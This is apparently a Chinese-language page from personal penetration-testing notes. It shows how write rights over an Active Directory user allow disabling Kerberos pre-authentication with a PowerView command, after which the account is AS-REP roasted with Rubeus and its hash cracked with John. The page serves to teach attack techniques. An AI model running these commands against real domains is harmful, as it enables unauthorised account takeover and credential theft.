> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/active-directory/kerberos/enable-as-rep-vulnerability-via-acl.md).
# 通过 ACL 启用 AS-REP 漏洞
### 原理
在某些情况下，用户没有 `不要求 Kerberos 预身份验证` 选项。
但是如果我们对这个用户具有写入权限，例如：
```bash
GenericAll
GenericWrite
WriteAllProperties
```
我们可以修改其属性 `userAccountControl`.
### 示例： `astrid.niki`
用户 `user1` 具有写入权限：
```bash
astrid.niki
```
然后我们启用 `DONT_REQ_PREAUTH` 选项，使用 PowerView：
{% code overflow="wrap" %}
```powershell
Set-DomainObject -Identity astrid.niki -XOR @{useraccountcontrol=4194304}
```
{% endcode %}
### 重新开始 AS-REP Roasting
修改后，该用户会出现在结果中：
{% code overflow="wrap" %}
```powershell
.\Rubeus.exe asreproast /format:john /outfile:hash.john
```
{% endcode %}
然后我们破解哈希：
{% code overflow="wrap" %}
```bash
john hash
```
{% endcode %}
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